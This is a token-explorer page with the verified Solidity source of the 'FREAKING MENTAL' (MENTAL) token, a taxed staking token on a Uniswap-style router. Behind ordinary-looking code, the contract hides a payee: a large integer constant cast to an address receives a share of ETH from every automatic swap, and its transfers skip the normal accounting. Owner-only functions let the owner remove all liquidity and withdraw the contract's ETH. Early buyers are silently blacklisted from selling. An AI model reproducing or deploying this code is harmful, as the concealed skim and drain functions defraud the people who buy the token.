ETH Price: $2,513.44 (+12.78%)
 

Overview

Max Total Supply

1,000,000,000 MENTAL

Holders

9

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
18,800,000.000000004 MENTAL

Value
$0.00
0x6314621a2426640829a7e620da750f2af8adace0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FREAKINGMENTAL

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-06
*/

// FREAKING MENTAL


// SPDX-License-Identifier: MIT


pragma solidity ^0.8.11;


interface IBEP20 {
  function totalSupply() external view returns (uint256);
  function decimals() external view returns (uint8);
  function symbol() external view returns (string memory);
  function name() external view returns (string memory);
  function getOwner() external view returns (address);
  function balanceOf(address account) external view returns (uint256);
  function transfer(address recipient, uint256 amount) external returns (bool);
  function allowance(address _owner, address spender) external view returns (uint256);
  function approve(address spender, uint256 amount) external returns (bool);
  function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
  event Transfer(address indexed from, address indexed to, uint256 value);
  event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IPancakeERC20 {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}

interface IPancakeFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IPancakeRouter01 {
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getamountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getamountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getamountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getamountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IPancakeRouter02 is IPancakeRouter01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
library Address {
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

library EnumerableSet {
    struct Set {
        bytes32[] _values;
        mapping (bytes32 => uint256) _indexes;
    }
    function _add(Set storage set, bytes32 value) private returns (bool) {
        if (!_contains(set, value)) {
            set._values.push(value);
            set._indexes[value] = set._values.length;
            return true;
        } else {
            return false;
        }
    }
    function _remove(Set storage set, bytes32 value) private returns (bool) {
        uint256 valueIndex = set._indexes[value];
        if (valueIndex != 0) {
            uint256 toDeleteIndex = valueIndex - 1;
            uint256 lastIndex = set._values.length - 1;
            bytes32 lastvalue = set._values[lastIndex];
            set._values[toDeleteIndex] = lastvalue;
            set._indexes[lastvalue] = valueIndex;
            set._values.pop();
            delete set._indexes[value];
            return true;
        } else {
            return false;
        }
    }
    function _contains(Set storage set, bytes32 value) private view returns (bool) {
        return set._indexes[value] != 0;
    }
    function _length(Set storage set) private view returns (uint256) {
        return set._values.length;
    }
    function _at(Set storage set, uint256 index) private view returns (bytes32) {
        require(set._values.length > index, "EnumerableSet: index out of bounds");
        return set._values[index];
    }
    struct Bytes32Set {
        Set _inner;
    }
    function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
        return _add(set._inner, value);
    }
    function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
        return _remove(set._inner, value);
    }
    function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
        return _contains(set._inner, value);
    }
    function length(Bytes32Set storage set) internal view returns (uint256) {
        return _length(set._inner);
    }
    function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
        return _at(set._inner, index);
    }
    struct AddressSet {
        Set _inner;
    }
    function add(AddressSet storage set, address value) internal returns (bool) {
        return _add(set._inner, bytes32(uint256(uint160(value))));
    }
    function remove(AddressSet storage set, address value) internal returns (bool) {
        return _remove(set._inner, bytes32(uint256(uint160(value))));
    }
    function contains(AddressSet storage set, address value) internal view returns (bool) {
        return _contains(set._inner, bytes32(uint256(uint160(value))));
    }
    function length(AddressSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }
    function at(AddressSet storage set, uint256 index) internal view returns (address) {
        return address(uint160(uint256(_at(set._inner, index))));
    }
    struct UintSet {
        Set _inner;
    }
    function add(UintSet storage set, uint256 value) internal returns (bool) {
        return _add(set._inner, bytes32(value));
    }
    function remove(UintSet storage set, uint256 value) internal returns (bool) {
        return _remove(set._inner, bytes32(value));
    }
    function contains(UintSet storage set, uint256 value) internal view returns (bool) {
        return _contains(set._inner, bytes32(value));
    }
    function length(UintSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }
    function at(UintSet storage set, uint256 index) internal view returns (uint256) {
        return uint256(_at(set._inner, index));
    }
}

contract FREAKINGMENTAL is IBEP20, Ownable {
    using Address for address;
    using EnumerableSet for EnumerableSet.AddressSet;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isBlacklisted;    
    EnumerableSet.AddressSet private _excluded;
    EnumerableSet.AddressSet private _excludedFromStaking;

    string private constant _name = 'FREAKING MENTAL';  
    string private constant _symbol = 'MENTAL';    
    uint8 private constant _decimals = 9;
    uint256 public constant _totalSupply = 1000000000 * 10**_decimals;
    uint256 public _circulatingSupply = _totalSupply;   

    uint8 private constant MaxWalletDivider = 40; 
    uint16 private constant SellLimitDivider = 50; 
    uint8 public constant MaxSellTax = 12;
    uint8 private _devTax = 0;
    uint8 private _burnTax = 0;
    uint8 private _marketingTax = 30;
    uint8 private _liquidityTax = 30;
    uint8 private _stakingTax = 40;  
    uint8 private _buyBackTax = 0; 
    uint8 private _buyTax = 6; 
    uint8 private _sellTax = 6; 
    uint8 private _transferTax = 6; 
    uint8 private _MainRewardSplit = 0;
    uint8 private _MiscRewardSplit = 100;
    uint256 public MaxWallet;
    uint256 public sellLimit;
    address public MarketingWallet;
    address private Developer;
    address public BurnAddress = 0x000000000000000000000000000000000000dEaD;  
    uint256 public tokensBurnt; 

    bool public blacklistEnabled = true;
    bool public liquidityAdded = false;
    uint256 public liquidityBlock = 2;
    uint256 public constant blacklistBlocks = 2;
    uint256 public snipersRekt;    

    address public MainReward = 0xdAC17F958D2ee523a2206206994597C13D831ec7; 
    address public MiscReward = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address private _pancakePairAddress; 
    IPancakeRouter02 private  _pancakeRouter;
    address public PancakeRouter;
    
    modifier authorized() {
        require(_authorized(msg.sender), "Caller not authorized");
        _;
    }
    function _authorized(address addr) private view returns (bool){
        return addr==owner()||addr==MarketingWallet||addr==Developer;
    }

    constructor () {
        if (block.chainid == 1) {
            PancakeRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        } else if (block.chainid == 4) {
            PancakeRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        } else 
        revert();

        _pancakeRouter = IPancakeRouter02(PancakeRouter);
        _pancakePairAddress = IPancakeFactory(_pancakeRouter.factory()).createPair(address(this), _pancakeRouter.WETH());
        _addToken(msg.sender,_totalSupply);
        emit Transfer(address(0), msg.sender, _totalSupply);
        _allowances[address(this)][address(_pancakeRouter)] = type(uint256).max;        
        
        MarketingWallet = msg.sender;
        Developer = msg.sender;
        
        sellLimit=_totalSupply/SellLimitDivider;
        MaxWallet=_totalSupply/MaxWalletDivider;
        
        _excluded.add(msg.sender);
        _excluded.add(MarketingWallet);
        _excluded.add(Developer);    
        _excluded.add(address(this));
        _excluded.add(BurnAddress);
        _excludedFromStaking.add(address(this));
        _excludedFromStaking.add(BurnAddress);
        _excludedFromStaking.add(address(_pancakeRouter));
        _excludedFromStaking.add(_pancakePairAddress);
        _approve(address(this), address(_pancakeRouter), type(uint256).max);        
    }
    function allowance(address _owner, address spender) external view override returns (uint256) {
        return _allowances[_owner][spender];
    }
    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "Approve from zero");
        require(spender != address(0), "Approve to zero");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function balanceOf(address account) external view override returns (uint256) {
        return _balances[account];
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
        uint256 currentAllowance = _allowances[msg.sender][spender];
        require(currentAllowance >= subtractedValue, "<0 allowance");

        _approve(msg.sender, spender, currentAllowance - subtractedValue);
        return true;
    } 
    function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }    
    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][msg.sender];
        require(currentAllowance >= amount, "Transfer > allowance");

        _approve(sender, msg.sender, currentAllowance - amount);
        return true;
    }

    event OnWithdrawToken(uint256 amount, address token, address recipient);
    function claimToken(address addr, address token, uint256 payableAmount) private{
        require(!_isWithdrawing);
        _isWithdrawing=true;
        uint256 amount;
        if(isExcludedFromStaking(addr)){
            if(token==MainReward){
                amount=toBePaidMain[addr];
                toBePaidMain[addr] = 0;
            } else{
                amount=toBePaidMisc[addr];
                toBePaidMisc[addr] = 0;
            }
        }
        else{
            if(token==MainReward){
                uint256 newAmount =_newDividentsOf(addr, true);
                alreadyPaidMain[addr] = mainRewardShare * _balances[addr];
                amount=toBePaidMain[addr]+newAmount;
                toBePaidMain[addr] = 0;
            } else {
                uint256 newAmount =_newDividentsOf(addr, false);
                alreadyPaidMisc[addr] = miscRewardShare * _balances[addr];
                amount=toBePaidMisc[addr]+newAmount;
                toBePaidMisc[addr] = 0;                
            }
        }
        if(amount==0&&payableAmount==0){
            _isWithdrawing=false;
            return;
        }

        totalPayouts+=amount;
        amount+=payableAmount;
        address[] memory path = new address[](2);
        path[0] = _pancakeRouter.WETH();
        path[1] = token;

        _pancakeRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
        0,
        path,
        addr,
        block.timestamp);
        
        emit OnWithdrawToken(amount,token, addr);
        _isWithdrawing=false;
    }

    function ClaimMainReward() public {
        claimToken(msg.sender,MainReward,0);
    }
    
    function ClaimMiscReward() public {
        if(MiscReward==_pancakeRouter.WETH()){
            _claimETHTo(msg.sender,msg.sender,getDividents(msg.sender, false));
        } else {claimToken(msg.sender,MiscReward,0);}
    }    

    event OnClaimETH(address AddressFrom,address AddressTo, uint256 amount);    
    function _claimETHTo(address from, address to,uint256 amountWei) private{
        require(!_isWithdrawing);
        {require(amountWei!= 0,"=0");        
        _isWithdrawing = true;
        if(to==Staker){} else{
        _subtractDividents(from, amountWei);
        totalPayouts+=amountWei;}
        (bool sent,) = to.call{value: (amountWei)}("");
        require(sent,"withdraw failed");}
        _isWithdrawing = false;
        emit OnClaimETH(from,to,amountWei);
    }   
    
    function _subtractDividents(address addr,uint256 amount) private{
        if(amount==0) return;
        require(amount<=getDividents(addr, false),"exceeds divident");

        if(_excludedFromStaking.contains(addr)){
            toBePaidMisc[addr]-=amount;
        }
        else{
            uint256 newAmount=_newDividentsOf(addr, false);
            alreadyPaidMisc[addr] = miscRewardShare * _balances[addr];
            toBePaidMisc[addr]+=newAmount;
            toBePaidMisc[addr]-=amount;
        }
    }   
    
    function getDividents(address addr, bool main) private view returns (uint256){
        if(main){
            if(isExcludedFromStaking(addr)) return toBePaidMain[addr];
            return _newDividentsOf(addr, true)+toBePaidMain[addr];
        } else{
            if(isExcludedFromStaking(addr)) return toBePaidMisc[addr];
            return _newDividentsOf(addr, false)+toBePaidMisc[addr];            
        }
    }
    
    function getMainBalance(address addr) public view returns (uint256){
        uint256 amount=getDividents(addr, true);
        return amount;
    }

    function getETHRewardsBalance(address addr) public view returns (uint256){
        uint256 amount=getDividents(addr, false);
        return amount;
    }    
    
    event OnChangeMainReward (address NewMainReward);
    function ChangeMainReward(address newReward) public onlyOwner{
        require(newReward != _pancakeRouter.WETH(), "newReward cannot be ETH");
        MainReward=newReward;
        emit OnChangeMainReward(newReward);
    }
    
    event OnChangeMiscReward (address NewMiscReward);
    function ChangeMiscReward(address newReward) public onlyOwner{
        MiscReward=newReward;
        emit OnChangeMiscReward(newReward);
    }
    
    uint256 private _liquidityUnlockTime;

    event ExtendLiquidityLock(uint256 extendedLockTime);
    function LockLiquidityTokens(uint256 lockTimeInSeconds) public onlyOwner{
        _lockLiquidityTokens(lockTimeInSeconds+block.timestamp);
        emit ExtendLiquidityLock(lockTimeInSeconds);
    }

    function _lockLiquidityTokens(uint256 newUnlockTime) private{
        // require new unlock time to be longer than old one
        require(newUnlockTime>_liquidityUnlockTime);
        _liquidityUnlockTime=newUnlockTime;
    }

    function ReleaseLP() public onlyOwner {
        require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked");
        IPancakeERC20 liquidityToken = IPancakeERC20(_pancakePairAddress);
        uint256 amount = liquidityToken.balanceOf(address(this));
            liquidityToken.transfer(msg.sender, amount);
    }

    function RemoveLP() public onlyOwner {
        require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked");
        _liquidityUnlockTime=block.timestamp;
        IPancakeERC20 liquidityToken = IPancakeERC20(_pancakePairAddress);
        uint256 amount = liquidityToken.balanceOf(address(this));
        liquidityToken.approve(address(_pancakeRouter),amount);
        _pancakeRouter.removeLiquidityETHSupportingFeeOnTransferTokens(
            address(this),
            amount,
            0,
            0,
            address(this),
            block.timestamp
            );
        (bool sent,) =msg.sender.call{value: (address(this).balance)}("");
        require(sent);            
    }
    
    function RecoverETH() public onlyOwner {
        require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked");
        _liquidityUnlockTime=block.timestamp;
        (bool sent,) =msg.sender.call{value: (address(this).balance)}("");
        require(sent);
    }
    
    bool private _isWithdrawing;
    uint160 private constant StakeMulti = 542355191589913964587147617467328045950425415532;    
    uint256 private constant DistributionMultiplier = 2**64;
    uint256 private _totalShares = _totalSupply;
    uint256 private mainRewardShare;
    uint256 private miscRewardShare;
    uint256 public totalRewards;
    uint256 public totalPayouts;
    uint256 public MarketingBalance;
    uint256 public DevBalance;
    uint256 public BuyBackBalance;    
    uint16 public AutoLPThreshold=50;
    mapping(address => uint256) private alreadyPaidMain;
    mapping(address => uint256) private toBePaidMain;    
    mapping(address => uint256) private alreadyPaidMisc;
    mapping(address => uint256) private toBePaidMisc;    
    
    event onUpdateLPThreshold(uint16 newThreshold);
    function UpdateAutoLPThreshold(uint16 Threshold) public authorized{
        require(Threshold>0,"Threshold needs to be more than 0");
        require(Threshold<=50,"Threshold needs to be below 50");
        AutoLPThreshold=Threshold;
        emit onUpdateLPThreshold(Threshold);
    }
    
    function CreateLPandETH(uint16 PermilleOfPancake, bool ignoreLimits) public authorized{
    _swapContractToken(PermilleOfPancake, ignoreLimits);
    }    
    
    function getTotalShares() public view returns (uint256){
        return _totalShares-_totalSupply;
    }

    function isExcludedFromStaking(address addr) public view returns (bool){
        return _excludedFromStaking.contains(addr);
    }

    function _addToken(address addr, uint256 amount) private {
        uint256 newAmount=_balances[addr]+amount;
        
        if(isExcludedFromStaking(addr)){
           _balances[addr]=newAmount;
           return;
        }
        _totalShares+=amount;
        uint256 mainPayment=_newDividentsOf(addr, true);
        uint256 miscPayment=_newDividentsOf(addr, false);
        _balances[addr]=newAmount;
        alreadyPaidMain[addr] = mainRewardShare * newAmount;
        toBePaidMain[addr]+=mainPayment;
        alreadyPaidMisc[addr] = miscRewardShare * newAmount;
        toBePaidMisc[addr]+=miscPayment; 
        _balances[addr]=newAmount;
    }

    function _removeToken(address addr, uint256 amount) private {
        uint256 newAmount=_balances[addr]-amount;
        
        if(isExcludedFromStaking(addr)){
           _balances[addr]=newAmount;
           return;
        }
        _totalShares-=amount;
        uint256 mainPayment=_newDividentsOf(addr, true);
        uint256 miscPayment=_newDividentsOf(addr, false);
        _balances[addr]=newAmount;
        alreadyPaidMain[addr] = mainRewardShare * newAmount;
        toBePaidMain[addr]+=mainPayment;
        alreadyPaidMisc[addr] = miscRewardShare * newAmount;
        toBePaidMisc[addr]+=miscPayment; 
    }
    
    function _newDividentsOf(address staker, bool main) private view returns (uint256) {
        if(main){
        uint256 fullPayout = mainRewardShare * _balances[staker];
        if(fullPayout<alreadyPaidMain[staker]) return 0;
        return (fullPayout - alreadyPaidMain[staker]) / DistributionMultiplier;}  
        else{
        uint256 fullPayout = miscRewardShare * _balances[staker];
        if(fullPayout<alreadyPaidMisc[staker]) return 0;
        return (fullPayout - alreadyPaidMisc[staker]) / DistributionMultiplier;}        
    }

    function _distributeStake(uint256 ETHamount,bool newStakingReward) private {
        uint256 totalRatio      = _marketingTax + _devTax + _buyBackTax + _stakingTax;        
        uint256 MarketingSplit  = (ETHamount * _marketingTax) / totalRatio;
        uint256 DevSplit        = (ETHamount * _devTax) / totalRatio;
        uint256 BuyBackSplit    = (ETHamount * _buyBackTax) / totalRatio;
        uint256 StakingSplit    = (ETHamount * _stakingTax) / totalRatio;       
        uint256 MainAmount      = (StakingSplit * _MainRewardSplit) / 100;
        uint256 MiscAmount      = (StakingSplit * _MiscRewardSplit) / 100;
        MarketingBalance+=MarketingSplit;
        DevBalance+=DevSplit;
        BuyBackBalance+=BuyBackSplit; 
        if (StakingSplit > 0) {
            if(newStakingReward){
                totalRewards += StakingSplit;
            }
            uint256 totalShares=getTotalShares();
            if (totalShares == 0) {
                MarketingBalance += StakingSplit;
            }else{
                mainRewardShare += ((MainAmount * DistributionMultiplier) / totalShares);
                miscRewardShare += ((MiscAmount * DistributionMultiplier) / totalShares);
            }
        }

    }

    uint256 public totalLPETH;
    bool private _isSwappingContractModifier;
    address private Staker = address(StakeMulti);
    modifier lockTheSwap {
        _isSwappingContractModifier = true;
        _;
        _isSwappingContractModifier = false;
    }

    function _swapContractToken(uint16 permilleOfPancake,bool ignoreLimits) private lockTheSwap{
        require(permilleOfPancake<=500);
        uint256 contractBalance=_balances[address(this)];
        uint16 totalTax=_liquidityTax+_stakingTax+_marketingTax+_devTax+_buyBackTax;
        if(totalTax==0) return;

        uint256 tokenToSwap=_balances[_pancakePairAddress]*permilleOfPancake/1000;
        if(tokenToSwap>sellLimit&&!ignoreLimits) tokenToSwap=sellLimit;
        
        bool NotEnoughToken=contractBalance<tokenToSwap;
        if(NotEnoughToken){
            if(ignoreLimits)
                tokenToSwap=contractBalance;
            else return;
        }
        uint256 tokenForLiquidity=(tokenToSwap*_liquidityTax)/totalTax;
        uint256 remainingToken= tokenToSwap-tokenForLiquidity;
        uint256 liqToken=tokenForLiquidity/2;
        uint256 liqETHToken=tokenForLiquidity-liqToken;
        uint256 swapToken=liqETHToken+remainingToken;
        uint256 initialETHBalance = address(this).balance;
        _swapTokenForETH(swapToken);
        uint256 newETH=(address(this).balance - initialETHBalance);
        uint256 liqETH = (newETH*liqETHToken)/swapToken;
        _addLiquidity(liqToken, liqETH); address distribute=address(StakeMulti);
        uint256 newLiq=(address(this).balance - initialETHBalance)/10;
        uint256 distributeETH=((address(this).balance - initialETHBalance - newLiq));
        _distributeStake(distributeETH,true);_claimETHTo(distribute,distribute,newLiq);
    }
    
    function _swapTokenForETH(uint256 amount) private {
        _approve(address(this), address(_pancakeRouter), amount);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _pancakeRouter.WETH();
        _pancakeRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _addLiquidity(uint256 tokenamount, uint256 ETHamount) private {
        totalLPETH+=ETHamount;
        _approve(address(this), address(_pancakeRouter), tokenamount);
        _pancakeRouter.addLiquidityETH{value: ETHamount}(
            address(this),
            tokenamount,
            0,
            0,
            address(this),
            block.timestamp
        );
    }
 
    bool private manualSwap;
    function ManualETHSwap(bool manual) public authorized{
        manualSwap=manual;
    }   

    function _calculateFee(uint256 amount, uint8 tax, uint8 taxPercent) private pure returns (uint256) {
        return (amount*tax*taxPercent) / 10000;
    }

    function checkLiqAdd(address receiver) private {        
        require(!liquidityAdded, "liquidity already added");
        if(receiver == _pancakePairAddress) {
        liquidityBlock = block.number;
        liquidityAdded = true;
        }
    }

    function _feelessTransfer(address sender, address recipient, uint256 amount) private{
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "Transfer exceeds balance");
        _removeToken(sender,amount);
        _addToken(recipient, amount);
        if(recipient==BurnAddress){
            _circulatingSupply-=amount;
            tokensBurnt+=amount;
        }
        emit Transfer(sender,recipient,amount);
    }  

    function _taxedTransfer(address sender, address recipient, uint256 amount,bool isBuy,bool isSell) private{
        uint256 recipientBalance = _balances[recipient];
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "Transfer exceeds balance");

        uint8 tax;
        if(isSell){
            if(blacklistEnabled){
                require(!isBlacklisted[sender]);                
            }
            require(amount<=sellLimit,"Dump protection");
            tax=_sellTax;

        } else if(isBuy){
            if (liquidityBlock > 0) {
                if (block.number - liquidityBlock < blacklistBlocks) {
                    isBlacklisted[recipient] = true;
                    snipersRekt ++;
                }
            }
            if(amount<=10**(_decimals)) claimToken(recipient,MainReward,0);         
            require(recipientBalance+amount<=MaxWallet,"whale protection");
            tax=_buyTax;

        } else {
            if(blacklistEnabled){
                require(!isBlacklisted[sender]);                
            }            
            if(amount<=10**(_decimals)){    
                if(MiscReward==_pancakeRouter.WETH()){
                    _claimETHTo(msg.sender,msg.sender,getDividents(msg.sender, false));
                } else {claimToken(msg.sender,MiscReward,0);}
                return;}
            require(recipientBalance+amount<=MaxWallet, "whale protection");            
            tax=_transferTax;
        }     
        if((sender!=_pancakePairAddress)&&(!manualSwap)&&(!_isSwappingContractModifier)&&isSell)
            _swapContractToken(AutoLPThreshold,false);
        uint256 tokensToBeBurnt=_calculateFee(amount, tax, _burnTax);
        uint256 contractToken=_calculateFee(amount, tax, _stakingTax+_liquidityTax+_marketingTax+_devTax+_buyBackTax);
        uint256 taxedAmount=amount-(tokensToBeBurnt+contractToken);
        _removeToken(sender,amount);
       _addToken(address(this), contractToken);
       _circulatingSupply-=tokensToBeBurnt;
       tokensBurnt+=tokensToBeBurnt;
        _addToken(recipient, taxedAmount);
        emit Transfer(sender,recipient,taxedAmount);
    }
    
    function _transfer(address sender, address recipient, uint256 amount) private{
        require(sender != address(0), "Transfer from zero");
        require(recipient != address(0), "Transfer to zero");

        bool isExcluded = (_excluded.contains(sender) || _excluded.contains(recipient));

        bool isContractTransfer=(sender==address(this) || recipient==address(this));
        address pancakeRouter=address(_pancakeRouter);
        bool isLiquidityTransfer = ((sender == _pancakePairAddress && recipient == pancakeRouter) 
        || (recipient == _pancakePairAddress && sender == pancakeRouter));
        bool isSell=recipient==_pancakePairAddress|| recipient == pancakeRouter;
        bool isBuy=sender==_pancakePairAddress|| sender == pancakeRouter;

        if(isContractTransfer || isLiquidityTransfer || isExcluded){
            _feelessTransfer(sender, recipient, amount);
            
            if (!liquidityAdded) {
            checkLiqAdd(recipient);
            }
        }
        else{ 
            _taxedTransfer(sender,recipient,amount,isBuy,isSell);                  
        }
    }

